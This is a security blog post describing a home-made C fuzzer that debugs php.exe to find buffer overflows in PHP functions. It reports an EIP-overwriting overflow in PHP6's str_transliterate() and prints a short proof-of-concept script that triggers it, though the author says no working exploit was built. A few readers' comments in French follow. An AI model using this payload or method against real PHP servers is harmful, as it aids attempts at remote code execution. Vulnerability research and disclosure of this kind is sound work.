Fuzzing PHP : PHP6 str_transliterate() (Unicode) Buffer Overflow vulnerability
Hello All =)
A long time ago, I released a paper about PHP fuzzing. But my fuzzer was a bit ill-coded and unstable. You can find here my article : Fuzzing PHP
Today I’m presenting you a new approach of PHP Fuzzing, and I offer you my new fuzzer. The purpose of this fuzzer is to find buffer overflow vulnerabilities in PHP functions. Taking in account that when a buffer overflow occurs, an exception “Access Violation” is raised because of EIP equal to 0×41414141 for example, I had the idea to debug php.exe in order to catch exceptions. And then, if the exception is an “Access violation” I can say I found a vulnerability.
So first I get a list of defined functions of PHP with get_defined_functions().
Then I parse this list and I fuzz each function :
VOID FuzzFunction(PUCHAR szFunction, UINT nbArg) { EXCEPTION_RECORD ExceptionInfo = {0x0}; FILE *hLog = NULL; PUCHAR szReq = NULL;; UCHAR szBof[BOF_SIZE+1]; size_t i; memset(szBof, 0x41, BOF_SIZE); szReq = (PUCHAR)calloc((nbArg+1)*BOF_SIZE, sizeof(UCHAR)); sprintf(szReq, "php -r %s('%s'", szFunction, szBof); for(i = 1; i < nbArg; i++) { strcat(szReq, ",'"); strcat(szReq, szBof); strcat(szReq, "'"); } strcat(szReq, ");"); /* Check for a bug */ if(Test(szReq, &ExceptionInfo)) { printf("[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction); hLog = fopen("Log.txt", "a+"); if(hLog != NULL) fprintf(hLog, "[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction); fclose(hLog); return; } else if(nbArg < NB_ARG_LIMIT) FuzzFunction(szFunction, nbArg+1); return; }
Here I’m using recursion to test with one then two, three, four, … arguments. Each time I call Test() function which will check for an exception :
BYTE Test(PUCHAR szReq, PEXCEPTION_RECORD pExceptionInfo) { DWORD BUG = 0x0; STARTUPINFO si = {0x0}; PROCESS_INFORMATION pi = {0x0}; DEBUG_EVENT DebugEvent; EXCEPTION_DEBUG_INFO ExceptDbgInfo; EXCEPTION_RECORD ExceptRecord; PEXCEPTION_RECORD pRetExceptRecord = NULL; //printf("Starting Process..."); if(!CreateProcess("php.exe", szReq, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS|DETACHED_PROCESS, NULL, NULL, &si, π)) { printf("FAILED to execute php.exe : 0x%x\n\n", GetLastError()); return 0x0; } //printf("OK"); DebugActiveProcess(pi.dwProcessId); //printf("\nDebugging Process (ID : 0x%x)...\n\n", pi.dwProcessId); while(1) { WaitForDebugEvent(&DebugEvent, INFINITE); if(DebugEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { ExceptDbgInfo = DebugEvent.u.Exception; ExceptRecord = ExceptDbgInfo.ExceptionRecord; if(ExceptRecord.ExceptionCode != 0x80000003) { pExceptionInfo->ExceptionAddress = ExceptRecord.ExceptionAddress; pExceptionInfo->ExceptionCode = ExceptRecord.ExceptionCode; BUG = 0x1; break; } } else if(DebugEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) { // printf("\n\nProcess exited %ld\n\n", GetLastError()); break; } ContinueDebugEvent(DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_CONTINUE); } DebugActiveProcessStop(pi.dwProcessId); TerminateProcess(pi.hProcess, 0x0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return BUG; }
Well you clearly see here I’m debugging php.exe. And if an exception is raised I caught it and return 1 (=bug).
I tested it on PHP 6, I know it is still in developing, but we already know a lot of bugs concerning PHP 5. A screen shot of the result :
So the vulnerable functions are com_print_typeinfo() (a bug already found in PHP5) and, what is new, str_transliterate().
And if we test we see we can overwrite EIP with a unicode string (EIP = 0×00410041). So it is possible to exploit this vulnerability to execute malicious code (see my previous article : EIP = 0×00410041 ?? Exploiting Unicode Buffer Overflows) on a server.
I didn’t manage to build a working exploit because lots of conditions make the exploitation very hard (at least for me).
So I just give you a proof of concept :
<?php /* str_transliterate() vulnerability found with PHPFuzz : http://lilxam.tuxfamily.org/blog/?p=302 Can be exploited to execute malicious code on a server. I think it is possible to exploit this vulnerability with Unicode Buffer Overflow method (See http://lilxam.tuxfamily.org/blog/?p=259 for more informations about this technique). But I didn't manage to do this =(. If somebody successfuly builds a working exploit I would be very interested ! Mail me at lilxam at gmail dot com Proof of concept : */ $buf = str_repeat("A", 256); $eip = "\xH\xH"; // Will be unicode converted $more = str_repeat("I", 528); echo str_transliterate("Hello", $buf.$eip.$more, "Cyrillic"); ?>
Well you can download my fuzzer here : PHPFuzz
Bonjour,
j’ai un projet sur les buffers overflows et maintenant je dois developper un fuzzer pour un programme ecrit en c.
je sais pas comment faire et comment en commencer.
je sollicite votre aide pour un premier pas et merci infiniment
cordialement
Bonjour,
si tu veux envoies moi un mail et explique moi en détail ton projet et je t’aiderai à commencer.
Mon adresse : lilxam@gmail.com.
Cordialement,
Lilxam.